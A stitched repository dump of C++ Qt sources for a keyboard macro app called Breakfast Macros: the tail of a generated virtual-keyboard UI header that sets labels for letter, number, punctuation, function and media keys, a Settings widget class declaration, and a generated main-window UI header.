#if QT_CONFIG(tooltip)
a_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
a_button->setText(QCoreApplication::translate("VirtualKeyboard", "A", nullptr));
instructionLabel->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
b_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
b_button->setText(QCoreApplication::translate("VirtualKeyboard", "B", nullptr));
#if QT_CONFIG(tooltip)
c_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
c_button->setText(QCoreApplication::translate("VirtualKeyboard", "C", nullptr));
#if QT_CONFIG(tooltip)
d_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
d_button->setText(QCoreApplication::translate("VirtualKeyboard", "D", nullptr));
#if QT_CONFIG(tooltip)
e_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
e_button->setText(QCoreApplication::translate("VirtualKeyboard", "E", nullptr));
#if QT_CONFIG(tooltip)
f_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f_button->setText(QCoreApplication::translate("VirtualKeyboard", "F", nullptr));
#if QT_CONFIG(tooltip)
l_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
l_button->setText(QCoreApplication::translate("VirtualKeyboard", "L", nullptr));
#if QT_CONFIG(tooltip)
k_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
k_button->setText(QCoreApplication::translate("VirtualKeyboard", "K", nullptr));
#if QT_CONFIG(tooltip)
g_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
g_button->setText(QCoreApplication::translate("VirtualKeyboard", "G", nullptr));
#if QT_CONFIG(tooltip)
j_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
j_button->setText(QCoreApplication::translate("VirtualKeyboard", "J", nullptr));
#if QT_CONFIG(tooltip)
h_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
h_button->setText(QCoreApplication::translate("VirtualKeyboard", "H", nullptr));
#if QT_CONFIG(tooltip)
i_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
i_button->setText(QCoreApplication::translate("VirtualKeyboard", "I", nullptr));
#if QT_CONFIG(tooltip)
p_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
p_button->setText(QCoreApplication::translate("VirtualKeyboard", "P", nullptr));
#if QT_CONFIG(tooltip)
r_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r_button->setText(QCoreApplication::translate("VirtualKeyboard", "R", nullptr));
#if QT_CONFIG(tooltip)
m_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
m_button->setText(QCoreApplication::translate("VirtualKeyboard", "M", nullptr));
#if QT_CONFIG(tooltip)
n_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
n_button->setText(QCoreApplication::translate("VirtualKeyboard", "N", nullptr));
#if QT_CONFIG(tooltip)
o_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
o_button->setText(QCoreApplication::translate("VirtualKeyboard", "O", nullptr));
#if QT_CONFIG(tooltip)
q_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
q_button->setText(QCoreApplication::translate("VirtualKeyboard", "Q", nullptr));
#if QT_CONFIG(tooltip)
s_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
s_button->setText(QCoreApplication::translate("VirtualKeyboard", "S", nullptr));
#if QT_CONFIG(tooltip)
u_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
u_button->setText(QCoreApplication::translate("VirtualKeyboard", "U", nullptr));
#if QT_CONFIG(tooltip)
w_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
w_button->setText(QCoreApplication::translate("VirtualKeyboard", "W", nullptr));
#if QT_CONFIG(tooltip)
t_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
t_button->setText(QCoreApplication::translate("VirtualKeyboard", "T", nullptr));
#if QT_CONFIG(tooltip)
x_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
x_button->setText(QCoreApplication::translate("VirtualKeyboard", "X", nullptr));
#if QT_CONFIG(tooltip)
v_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
v_button->setText(QCoreApplication::translate("VirtualKeyboard", "V", nullptr));
#if QT_CONFIG(tooltip)
y_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
y_button->setText(QCoreApplication::translate("VirtualKeyboard", "Y", nullptr));
#if QT_CONFIG(tooltip)
z_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button->setText(QCoreApplication::translate("VirtualKeyboard", "Z", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_AZ), QCoreApplication::translate("VirtualKeyboard", "A-Z", nullptr));
instructionLabel_2->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
r0_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r0_button->setText(QCoreApplication::translate("VirtualKeyboard", "0", nullptr));
#if QT_CONFIG(tooltip)
r1_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r1_button->setText(QCoreApplication::translate("VirtualKeyboard", "1", nullptr));
#if QT_CONFIG(tooltip)
r2_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r2_button->setText(QCoreApplication::translate("VirtualKeyboard", "2", nullptr));
#if QT_CONFIG(tooltip)
r3_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r3_button->setText(QCoreApplication::translate("VirtualKeyboard", "3", nullptr));
#if QT_CONFIG(tooltip)
r4_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r4_button->setText(QCoreApplication::translate("VirtualKeyboard", "4", nullptr));
#if QT_CONFIG(tooltip)
r5_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r5_button->setText(QCoreApplication::translate("VirtualKeyboard", "5", nullptr));
#if QT_CONFIG(tooltip)
r7_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r7_button->setText(QCoreApplication::translate("VirtualKeyboard", "7", nullptr));
#if QT_CONFIG(tooltip)
r8_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r8_button->setText(QCoreApplication::translate("VirtualKeyboard", "8", nullptr));
#if QT_CONFIG(tooltip)
r9_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r9_button->setText(QCoreApplication::translate("VirtualKeyboard", "9", nullptr));
#if QT_CONFIG(tooltip)
num0_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num0_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num0", nullptr));
#if QT_CONFIG(tooltip)
num1_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num1_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num1", nullptr));
#if QT_CONFIG(tooltip)
r6_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r6_button->setText(QCoreApplication::translate("VirtualKeyboard", "6", nullptr));
#if QT_CONFIG(tooltip)
num3_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num3_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num3", nullptr));
#if QT_CONFIG(tooltip)
num7_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num7_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num7", nullptr));
#if QT_CONFIG(tooltip)
num4_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num4_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num4", nullptr));
#if QT_CONFIG(tooltip)
num5_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num5_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num5", nullptr));
#if QT_CONFIG(tooltip)
num6_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num6_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num6", nullptr));
#if QT_CONFIG(tooltip)
num2_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num2_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num2", nullptr));
#if QT_CONFIG(tooltip)
num8_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num8_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num8", nullptr));
#if QT_CONFIG(tooltip)
num9_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num9_button->setText(QCoreApplication::translate("VirtualKeyboard", "Num9", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_Numbers), QCoreApplication::translate("VirtualKeyboard", "Numbers", nullptr));
instructionLabel_3->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
r6_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r6_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "]", nullptr));
#if QT_CONFIG(tooltip)
r2_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r2_button_2->setText(QCoreApplication::translate("VirtualKeyboard", ".", nullptr));
#if QT_CONFIG(tooltip)
r8_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r8_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "\\", nullptr));
#if QT_CONFIG(tooltip)
r3_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r3_button_2->setText(QCoreApplication::translate("VirtualKeyboard", ",", nullptr));
#if QT_CONFIG(tooltip)
r0_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r0_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "`", nullptr));
#if QT_CONFIG(tooltip)
num4_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num4_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Num+", nullptr));
#if QT_CONFIG(tooltip)
r1_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r1_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "/", nullptr));
#if QT_CONFIG(tooltip)
r4_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r4_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "'", nullptr));
#if QT_CONFIG(tooltip)
num3_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num3_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Num-", nullptr));
#if QT_CONFIG(tooltip)
num0_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num0_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "-", nullptr));
#if QT_CONFIG(tooltip)
r7_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r7_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "[", nullptr));
#if QT_CONFIG(tooltip)
num1_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num1_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Num/", nullptr));
#if QT_CONFIG(tooltip)
num2_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num2_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Num*", nullptr));
#if QT_CONFIG(tooltip)
r5_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r5_button_2->setText(QCoreApplication::translate("VirtualKeyboard", ";", nullptr));
#if QT_CONFIG(tooltip)
r9_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r9_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "=", nullptr));
#if QT_CONFIG(tooltip)
num4_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
num4_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Num.", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_Punctuation), QCoreApplication::translate("VirtualKeyboard", "Punctuation", nullptr));
instructionLabel_4->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
f1_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f1_button->setText(QCoreApplication::translate("VirtualKeyboard", "F1", nullptr));
#if QT_CONFIG(tooltip)
f2_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f2_button->setText(QCoreApplication::translate("VirtualKeyboard", "F2", nullptr));
#if QT_CONFIG(tooltip)
f3_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f3_button->setText(QCoreApplication::translate("VirtualKeyboard", "F3", nullptr));
#if QT_CONFIG(tooltip)
f4_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f4_button->setText(QCoreApplication::translate("VirtualKeyboard", "F4", nullptr));
#if QT_CONFIG(tooltip)
f5_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f5_button->setText(QCoreApplication::translate("VirtualKeyboard", "F5", nullptr));
#if QT_CONFIG(tooltip)
f6_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f6_button->setText(QCoreApplication::translate("VirtualKeyboard", "F6", nullptr));
#if QT_CONFIG(tooltip)
f7_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f7_button->setText(QCoreApplication::translate("VirtualKeyboard", "F7", nullptr));
#if QT_CONFIG(tooltip)
f8_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f8_button->setText(QCoreApplication::translate("VirtualKeyboard", "F8", nullptr));
#if QT_CONFIG(tooltip)
f10_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f10_button->setText(QCoreApplication::translate("VirtualKeyboard", "F10", nullptr));
#if QT_CONFIG(tooltip)
f12_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f12_button->setText(QCoreApplication::translate("VirtualKeyboard", "F12", nullptr));
#if QT_CONFIG(tooltip)
f9_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f9_button->setText(QCoreApplication::translate("VirtualKeyboard", "F9", nullptr));
#if QT_CONFIG(tooltip)
f11_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f11_button->setText(QCoreApplication::translate("VirtualKeyboard", "F11", nullptr));
#if QT_CONFIG(tooltip)
f15_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f15_button->setText(QCoreApplication::translate("VirtualKeyboard", "F15", nullptr));
#if QT_CONFIG(tooltip)
f13_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f13_button->setText(QCoreApplication::translate("VirtualKeyboard", "F13", nullptr));
#if QT_CONFIG(tooltip)
f17_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f17_button->setText(QCoreApplication::translate("VirtualKeyboard", "F17", nullptr));
#if QT_CONFIG(tooltip)
f16_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f16_button->setText(QCoreApplication::translate("VirtualKeyboard", "F16", nullptr));
#if QT_CONFIG(tooltip)
f14_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f14_button->setText(QCoreApplication::translate("VirtualKeyboard", "F14", nullptr));
#if QT_CONFIG(tooltip)
f18_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f18_button->setText(QCoreApplication::translate("VirtualKeyboard", "F18", nullptr));
#if QT_CONFIG(tooltip)
f21_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f21_button->setText(QCoreApplication::translate("VirtualKeyboard", "F21", nullptr));
#if QT_CONFIG(tooltip)
f23_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f23_button->setText(QCoreApplication::translate("VirtualKeyboard", "F23", nullptr));
#if QT_CONFIG(tooltip)
f24_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f24_button->setText(QCoreApplication::translate("VirtualKeyboard", "F24", nullptr));
#if QT_CONFIG(tooltip)
f20_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f20_button->setText(QCoreApplication::translate("VirtualKeyboard", "F20", nullptr));
#if QT_CONFIG(tooltip)
f22_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f22_button->setText(QCoreApplication::translate("VirtualKeyboard", "F22", nullptr));
#if QT_CONFIG(tooltip)
f19_button->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f19_button->setText(QCoreApplication::translate("VirtualKeyboard", "F19", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_function), QCoreApplication::translate("VirtualKeyboard", "Function Keys", nullptr));
instructionLabel_5->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
l_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
l_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Right\n"
"Alt", nullptr));
#if QT_CONFIG(tooltip)
h_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
h_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Left\n"
"Ctrl", nullptr));
#if QT_CONFIG(tooltip)
d_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
d_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Caps\n"
"Lock", nullptr));
#if QT_CONFIG(tooltip)
a_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
a_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Escape", nullptr));
#if QT_CONFIG(tooltip)
y_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
y_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Volume\n"
"Up", nullptr));
#if QT_CONFIG(tooltip)
n_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
n_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Print\n"
"Screen", nullptr));
#if QT_CONFIG(tooltip)
f_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Left\n"
"Shift", nullptr));
#if QT_CONFIG(tooltip)
k_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
k_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Space", nullptr));
#if QT_CONFIG(tooltip)
g_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
g_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Right\n"
"Shift", nullptr));
#if QT_CONFIG(tooltip)
z_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Volume\n"
"Down", nullptr));
#if QT_CONFIG(tooltip)
w_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
w_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Left\n"
"Arrow", nullptr));
#if QT_CONFIG(tooltip)
r_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
r_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Delete", nullptr));
#if QT_CONFIG(tooltip)
q_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
q_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Page Up", nullptr));
#if QT_CONFIG(tooltip)
j_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
j_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Left\n"
"Alt", nullptr));
#if QT_CONFIG(tooltip)
i_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
i_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Windows", nullptr));
#if QT_CONFIG(tooltip)
e_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
e_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Enter", nullptr));
#if QT_CONFIG(tooltip)
x_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
x_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Down\n"
"Arrow", nullptr));
#if QT_CONFIG(tooltip)
t_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
t_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Page\n"
"Down", nullptr));
#if QT_CONFIG(tooltip)
o_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
o_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Insert", nullptr));
#if QT_CONFIG(tooltip)
s_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
s_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "End", nullptr));
#if QT_CONFIG(tooltip)
u_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
u_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Right\n"
"Arrow", nullptr));
#if QT_CONFIG(tooltip)
p_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
p_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Home", nullptr));
#if QT_CONFIG(tooltip)
c_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
c_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Tab", nullptr));
#if QT_CONFIG(tooltip)
m_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
m_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Right\n"
"Ctrl", nullptr));
#if QT_CONFIG(tooltip)
b_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
b_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Back\n"
"Space", nullptr));
#if QT_CONFIG(tooltip)
v_button_2->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
v_button_2->setText(QCoreApplication::translate("VirtualKeyboard", "Up\n"
"Arrow", nullptr));
#if QT_CONFIG(tooltip)
z_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Volume\n"
"Mute", nullptr));
#if QT_CONFIG(tooltip)
z_button_4->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button_4->setText(QCoreApplication::translate("VirtualKeyboard", "Media\n"
"Next\n"
"Track", nullptr));
#if QT_CONFIG(tooltip)
z_button_5->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button_5->setText(QCoreApplication::translate("VirtualKeyboard", "Media\n"
"Prev\n"
"Track", nullptr));
#if QT_CONFIG(tooltip)
z_button_6->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
z_button_6->setText(QCoreApplication::translate("VirtualKeyboard", "Media\n"
"Stop", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_other), QCoreApplication::translate("VirtualKeyboard", "Other", nullptr));
instructionLabel_6->setText(QCoreApplication::translate("VirtualKeyboard", "Click the character you want", nullptr));
#if QT_CONFIG(tooltip)
a_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
a_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Toggle\n"
"Media", nullptr));
#if QT_CONFIG(tooltip)
c_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
c_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "EREOF", nullptr));
#if QT_CONFIG(tooltip)
j_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
j_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Browser\n"
"Refresh", nullptr));
#if QT_CONFIG(tooltip)
d_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
d_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "End\n"
"Current\n"
"Task", nullptr));
#if QT_CONFIG(tooltip)
e_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
e_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Kana", nullptr));
#if QT_CONFIG(tooltip)
b_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
b_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Context\n"
"Menu", nullptr));
#if QT_CONFIG(tooltip)
h_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
h_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Mode\n"
"Change", nullptr));
#if QT_CONFIG(tooltip)
k_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
k_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Jisho", nullptr));
#if QT_CONFIG(tooltip)
i_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
i_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Browser\n"
"Home", nullptr));
#if QT_CONFIG(tooltip)
g_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
g_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Non\n"
"Convert", nullptr));
#if QT_CONFIG(tooltip)
f_button_3->setToolTip(QString());
#endif // QT_CONFIG(tooltip)
f_button_3->setText(QCoreApplication::translate("VirtualKeyboard", "Kanji", nullptr));
tabWidget->setTabText(tabWidget->indexOf(tab_other2), QCoreApplication::translate("VirtualKeyboard", "Other 2", nullptr));
} // retranslateUi
};
namespace Ui {
class VirtualKeyboard: public Ui_VirtualKeyboard {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_VIRTUALKEYBOARD_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/Settings.h
|
#pragma once
#include <QWidget>
#include "ui_Settings.h"
class SettingsUI : public QWidget
{
Q_OBJECT
public:
SettingsUI(QWidget *parent = Q_NULLPTR);
~SettingsUI();
void updateGUI();
void reigsterNewAppendedKey(int key);
private slots:
void darkModeAction(bool a);
void debugModeAction(bool a);
void openToTrayAction(bool a);
void minimizeToTrayAction(bool a);
void openOnStartupAction(bool a);
void registerDevAction();
void resetDeviceIDAction();
void typeNonMacroKeysAction(bool a);
void soundboardModeAction(bool a);
void registerKeyAction();
void clearAppendedKey();
private:
Ui::Settings ui;
};
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_MacroApp.h
|
<reponame>MalTheLegend104/Breakfast-Macros
/********************************************************************************
** Form generated from reading UI file 'MacroApp.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_MACROAPP_H
#define UI_MACROAPP_H
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QtWidgets/QApplication>
#include <QtWidgets/QLabel>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QMainWindow>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_MacroAppClass
{
public:
QWidget *centralWidget;
QPushButton *settingsButton;
QPushButton *newMacroButton;
QPushButton *deleteMacroButton;
QLabel *bpart1;
QListWidget *listWidget;
void setupUi(QMainWindow *MacroAppClass)
{
if (MacroAppClass->objectName().isEmpty())
MacroAppClass->setObjectName(QString::fromUtf8("MacroAppClass"));
MacroAppClass->resize(500, 350);
QSizePolicy sizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
sizePolicy.setHorizontalStretch(0);
sizePolicy.setVerticalStretch(0);
sizePolicy.setHeightForWidth(MacroAppClass->sizePolicy().hasHeightForWidth());
MacroAppClass->setSizePolicy(sizePolicy);
MacroAppClass->setFocusPolicy(Qt::StrongFocus);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
MacroAppClass->setWindowIcon(icon);
MacroAppClass->setAutoFillBackground(true);
centralWidget = new QWidget(MacroAppClass);
centralWidget->setObjectName(QString::fromUtf8("centralWidget"));
settingsButton = new QPushButton(centralWidget);
settingsButton->setObjectName(QString::fromUtf8("settingsButton"));
settingsButton->setGeometry(QRect(10, 310, 31, 30));
settingsButton->setFocusPolicy(Qt::ClickFocus);
QIcon icon1;
icon1.addFile(QString::fromUtf8(":/MacroApp/iconwhite.png"), QSize(), QIcon::Normal, QIcon::Off);
settingsButton->setIcon(icon1);
newMacroButton = new QPushButton(centralWidget);
newMacroButton->setObjectName(QString::fromUtf8("newMacroButton"));
newMacroButton->setGeometry(QRect(140, 310, 101, 30));
deleteMacroButton = new QPushButton(centralWidget);
deleteMacroButton->setObjectName(QString::fromUtf8("deleteMacroButton"));
deleteMacroButton->setGeometry(QRect(250, 310, 101, 30));
bpart1 = new QLabel(centralWidget);
bpart1->setObjectName(QString::fromUtf8("bpart1"));
bpart1->setGeometry(QRect(152, 0, 181, 31));
QFont font;
font.setPointSize(16);
font.setBold(true);
bpart1->setFont(font);
listWidget = new QListWidget(centralWidget);
new QListWidgetItem(listWidget);
listWidget->setObjectName(QString::fromUtf8("listWidget"));
listWidget->setGeometry(QRect(10, 30, 481, 271));
QFont font1;
font1.setPointSize(14);
listWidget->setFont(font1);
listWidget->setFrameShape(QFrame::Box);
MacroAppClass->setCentralWidget(centralWidget);
retranslateUi(MacroAppClass);
QMetaObject::connectSlotsByName(MacroAppClass);
} // setupUi
void retranslateUi(QMainWindow *MacroAppClass)
{
MacroAppClass->setWindowTitle(QCoreApplication::translate("MacroAppClass", "Breakfast Macros", nullptr));
settingsButton->setText(QString());
newMacroButton->setText(QCoreApplication::translate("MacroAppClass", "New Macro...", nullptr));
deleteMacroButton->setText(QCoreApplication::translate("MacroAppClass", "Delete Macro", nullptr));
bpart1->setText(QCoreApplication::translate("MacroAppClass", "Breakfast Macros", nullptr));
const bool __sortingEnabled = listWidget->isSortingEnabled();
listWidget->setSortingEnabled(false);
QListWidgetItem *___qlistwidgetitem = listWidget->item(0);
___qlistwidgetitem->setText(QCoreApplication::translate("MacroAppClass", "d", nullptr));
listWidget->setSortingEnabled(__sortingEnabled);
} // retranslateUi
};
namespace Ui {
class MacroAppClass: public Ui_MacroAppClass {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_MACROAPP_H
|
MalTheLegend104/Breakfast-Macros
|
Macros/Application/x64/Release/uic/ui_ActionEditor.h
|
<filename>Macros/Application/x64/Release/uic/ui_ActionEditor.h
/********************************************************************************
** Form generated from reading UI file 'ActionEditor.ui'
**
** Created by: Qt User Interface Compiler version 6.2.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
